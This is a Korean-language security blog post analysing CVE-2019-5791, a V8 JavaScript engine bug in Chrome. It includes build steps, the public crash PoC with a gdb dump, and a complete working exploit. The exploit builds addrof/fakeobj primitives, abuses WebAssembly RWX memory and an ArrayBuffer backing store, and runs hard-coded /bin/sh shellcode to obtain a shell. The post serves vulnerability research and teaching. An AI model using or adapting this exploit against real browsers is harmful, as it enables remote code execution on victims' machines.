topcue
[1-day Analysis] Chrome Browser Exploit with CVE-2019-5791 (RCE) 본문
[1-day Analysis] Chrome Browser Exploit with CVE-2019-5791 (RCE)
topcue 2019. 12. 29. 02:31목차
- 개요
- 환경 구축
- 배경 지식
- 취약점 분석
- exploit 작성
- PoC
- 레퍼런스
개요
자바 스크립트 엔진
중 하나인 v8
에서 발생한 취약점(CVE-2019-5791
)을 분석하고 exploit 가능한 PoC 코드를 작성한다.
환경 구축
분석 환경 : 가상머신(Vmware) - Linux 16.04
아래는 취약점 패치 전인 d8 release 버전
을 설치하는 과정이다. 자세한 분석을 위해서 debug 버전을 구축해도 상관 없다.
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH="$PATH:/path/to/depot_tools"
fetch v8
cd v8
build/install-build-deps.sh
git checkout b267f94ffca9fb90d04ffa03c910d8508c20dd26
gclient sync
./tools/dev/gm.py x64.release
# (or ./tools/dev/gm.py x64.debug)
배경 지식
JS Engine과 v8
v8은 Google chrome에서 사용하고 있는 JS Engine이며 내부적으로 c++로 구현되어있다. 자세한 배경 지식은 아래 [JS Engine 기본 개념]
에서 확인할 수 있다.
Hidden class
자바스크립트에는 class가 존재하지 않고, 대신 hidden class
가 존재한다. 이 hidden class 들은 JS Engine의 최적화를 위해 사용한다.
엔진마다 부르는 이름이 다른데, 주로 학술 논문에서는 Hidden Classes, v8
에서는 Maps
, Chakra에서는 Type, JavaScriptCore는 Structures, SpiderMonkey는 Shapes라고 부른 다.
크롬의 v8 자바스크립트 엔진의 hidden class는 Maps
또는 map
이라고 부를 것이다.
자바스크립트 배열 구조
자바 스크립트에서 배열은 named property
와 array-indexed property
로 크게 두 종류가 있다. named property는 key(name):value
형태의 property이다. array-indexed property의 구성 요소는 map
, prototype
, elements
, length
네 가지이다. 배열의 속성에 대한 지식은 차후 exploit을 작성하는 과정에서 중요하게 쓰인다.
취약점 분석
CVE-2019-5791
에서 발생하는 취약점은 크게 두 가지이다.
OOB Write
OOB Read
Chromium bugs open issue에 있는 OOB Write PoC 코드는 다음과 같다.
[참고] https://bugs.chromium.org/p/chromium/issues/detail?id=926651
callFn = function (code) { try { code(); } catch (e) { console.log(e); } }
let proxy = new Proxy({}, {});
function run(prop, ...args) {
let handler = {};
const proxy = new Proxy(function () {}, handler);
handler[prop] = (({v1 = ((v2 = (function () {
var v3 = 0;
var callFn = 0;
if (asdf) { return; } else { return; }
(function () { v3(); });
(function () {
callFn = "\u0041".repeat(1024*32);
v3 = [1, 2, 3, 4, 5, 6];
})
})) => (1))() }, ...args) => (1));
Reflect[prop](proxy, ...args);
}
callFn((() => (run("construct", []))));
callFn((() => (run("prop1"))));
function test() {
run[13] = 0x41414141;
print(proxy.length);
proxy[0x41414141 >> 3] = 0x12121212;
}
test();
위 PoC 코드로 crash
가 발생했을 때의 gdb
화면이다.
"mov QWORD PTR [rax+r14*1+0xf],rcx
" instruction에서 crash가 발생한다.
[----------------------------------registers-----------------------------------]
RAX: 0x41414140 ('@AAA')
RBX: 0x55555676b960
RCX: 0x1212121200000000
RDX: 0x41414140 ('@AAA')
RSI: 0x55555676b960
RDI: 0x5555566d7860
RBP: 0x7fffffffd540
RSP: 0x7fffffffd520
RIP: 0x555555e7fc9b
R8 : 0x55555667fa88
R9 : 0x3
R10: 0x38912101e581
R11: 0x1212121200000000
R12: 0x1212121200000000
R13: 0x1
R14: 0x154eb258c179
R15: 0x7fffffffd8f8
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x555555e7fc9b <_ZN2v88internal12_GLOBAL__N_120ElementsAccessorBaseINS1_32FastPackedObjectE
lementsAccessorENS1_18ElementsKindTraitsILNS0_12ElementsKindE2EEEE3SetENS0_6HandleINS0_8JSObject
EEEjPNS0_6ObjectE+27>: mov QWORD PTR [rax+r14*1+0xf],rcx
RAX
레지스터는 배열 run
[]을 통해 접근할 수 있고, RCX
레지스터는 배열 proxy
를 이용해 접근할 수 있다. R14
변수는 값이 변하지 않는다. 따라서 RAX와 RCX를 변조해 run[0] 이후 영역에 원하는 값을 쓸 수 있다.
[RAX+R14+0xF]
주변에는 v3 변수의 hidden class
인 map
과 prototype, elements의 주소, 배열의 길이가 매핑되어있다. 원소들의 주소인 "0x0000154eb258b918"를 따라가면 배열의 길이와 원소들이 저장되어있다. (smi와 heap object를 구분하기위해 주소값인 "0x0000154eb258b919"에 산술연산 or 1을 해주어야한다.)
gdb-peda$ x/10x $rax+$r14*1+0xf-0x18
0x154eb258c1d8: 0x0000039671102bb9 0x000014e89a300c21 // map prototype
0x154eb258c1e8: 0x0000154eb258b919 0x0000000600000000 // &elements length
0x154eb258c1f8: 0x000014e89a305211 0x000038912101f431
0x154eb258c208: 0x0000000000000000 0x0000000000000000
0x154eb258c218: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/10x 0x0000154eb258b919|1
0x154eb258b919: 0x00000014e89a3008 0x0000000006000000 // Array length
0x154eb258b929: 0x0000000001000000 0x0000000002000000 // element[0] element[1]
0x154eb258b939: 0x0000000003000000 0x0000000004000000 // element[2] element[3]
0x154eb258b949: 0x0000000005000000 0x9900000006000000 // element[4] element[5]
0x154eb258b959: 0x210000039671102d 0x79000014e89a300c
OOB Write
취약점을 이용해 배열의 길이를 매우 큰 값으로 변조하면 배열 proxy[]를 이용해 OOB Read
와 OOB Write
가 가능하다.
exploit 작성
익스플로잇 구상은 다음과 같다
먼저 object
의 주소를 leak
하는 addrof()
함수와 object 주소를 이용해 fake object
를 생성하는 fakeobj()
함수를 구현했다.
let addrof = function(obj) {
v4[0] = obj;
return proxy[0x18];
}
let fakeobj = function(addr) {
proxy[0x18] = addr
return v4[0]
}
addrof()
함수는 object의 주소를 반환하는 함수이다. object
형 배열인 v4[0]로 값을 받고, double
형 array인 proxy를 이용해 주소를 반환한다.
fakeobj()
함수는 addrof()
함수의 역연산으로, 주소를 인풋으로 fake object를 생성하는 함수이다.
두 함수를 이용해 원하는 object의 주소를 leak할 수 있고,원하는 주소를object형으로 만들 수 있다.
다음으로 shellcode
를 write할 배열 ab
를 선언한다.
let ab = new ArrayBuffer(0x100);
let abAddr = addrof(ab);
wasm
을 통해 rwx
메모리를 만들고 그 주소를 leak
할 예정이다.
fake object의 element pointer
위치에 들어갈, rwx가 가능한 주소를 leak하기 위해 변수 wasmObj
를 선언한다. 이후 gdb를 이용해 rwx가 가능한 곳의 위치를 찾고, 해당 주소를 호출하는 위치를 찾았다.
f와의 offset(0xf8)
을 구했고, fake object의 구성 요소 중 첫번째 인자(map
)를 통해 접근해야하므로 0x10을 더해주었다.
let wasmObj = addrof(f) - u2d(0xf8+0x10,0);
fake object인 target 생성한다. 이때 fake의 구성 요소 중 첫번째 인자인 map
이 [fake의 주소 - 0x20]
에 있다. 이를 이용해 type confusion
을 발생시킬 수 있다.
var fake = [ arr1Map, 0, wasmObj, u2d(0,0x8) ].slice();
var fakeAddr = addrof(fake) - u2d(0x20,0);
print("[+] fake_addr : " + hex(fakeAddr));
var target = fakeobj(fakeAddr);
ArrayBuffer인 변수 ab
의 backing stored pointer
를 rwx
메모리로 덮어쓴다.
let rwx = target[0];
print("[+] rwx : " + hex(rwx));
fake[2] = abAddr + u2d(0x10, 0);
target[0] = rwx;
마지막으로 DataView
를 통해 rwx메모리에 shellcode
를 쓴 뒤에 f() 함수를 실행해 shell을 획득한다.
let dv = new DataView(ab);
for (var i = 0; i < shellcode.length; i++) {
dv.setUint32(i*4, shellcode[i]);
}
f();
PoC
callFn = function (code) { try { code(); } catch (e) { console.log(e); } }
let proxy = new Proxy({}, {});
function run(prop, ...args) {
let handler = {};
const proxy = new Proxy(function () {}, handler);
handler[prop] = (({v1 = ((v2 = (function ()
{
var v3 = 0;
var callFn = 0;
if (asdf) { return; } else { return; }
(function () { v3(); });
(function () {
callFn = "\u0041".repeat(1024*32);
v3 = [1.1];
v4 = [{}].slice();
});
})) => (1))() }, ...args) => (1));
Reflect[prop](proxy, ...args);
}
callFn((() => (run("construct", []))));
callFn((() => (run("prop1"))));
function test() {
run[0x10] = 0x12121212;
let convert = new ArrayBuffer(0x8);
let f64 = new Float64Array(convert);
let u32 = new Uint32Array(convert);
function d2u(v) { f64[0] = v; return u32;}
function u2d(lo, hi) { u32[0] = lo; u32[1] = hi; return f64[0];}
function hex(d) { let val = d2u(d); return ("0x" + (val[1] * 0x100000000 + val[0]).toString(16)); }
let shellcode = [0x6a6848b8, 0x2f62696e, 0x2f2f2f73, 0x504889e7, 0x68726901, 0x1813424, 0x1010101, 0x31f656be, 0x1010101, 0x81f60901, 0x1014801, 0xe6564889, 0xe631d2b8, 0x01010101, 0x353a0101, 0x01900f05];
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
print("[+] arr1[0] : "+proxy[0])
print("[+] arr2[0] : "+hex(proxy[0x18]))
arr2Map = proxy[4]
var arr1Map = arr2Map - 0.000000000007900e-310
print("[+] arr1Map : " + hex(arr1Map))
print("[+] arr2Map : " + hex(arr2Map))
let addrof = function(obj) {
v4[0] = obj;
return proxy[0x18]; // return arr2[0];
}
let fakeobj = function(addr) {
proxy[0x18] = addr
return v4[0]
}
let ab = new ArrayBuffer(0x100);
let abAddr = addrof(ab);
print("[+] array_buf : "+hex(abAddr));
let wasmObj = addrof(f) - u2d(0xf8+0x10,0);
print("[+] wasm_addr : "+hex(addrof(wasmObj)))
var fake = [ arr1Map, 0, wasmObj, u2d(0,0x8) ].slice();
var fakeAddr = addrof(fake) - u2d(0x20,0);i
var target = fakeobj(fakeAddr);
print("[+] fake_addr : " + hex(fakeAddr));
let rwx = target[0];
print("[+] rwx : " + hex(rwx));
fake[2] = abAddr + u2d(0x10, 0);
target[0] = rwx;
let dv = new DataView(ab);
for (var i = 0; i < shellcode.length; i++) {
dv.setUint32(i*4, shellcode[i]);
}
f();
}
test();
// EOF
작성한 PoC 코드를 이용해 쉘을 획득한 모습이다.
레퍼런스
https://lordofpwn.kr/bob-8gi/
https://changochen.github.io/2019-04-29-starctf-2019.html
https://bugs.chromium.org/p/chromium/issues/detail?id=926651
https://mathiasbynens.be/notes/shapes-ics
'1-day Analysis' 카테고리의 다른 글
[1-day Analysis] VirtualBox Escape with CVE-2018-2525 & CVE-2018-2548 (0) | 2020.02.25 |
---|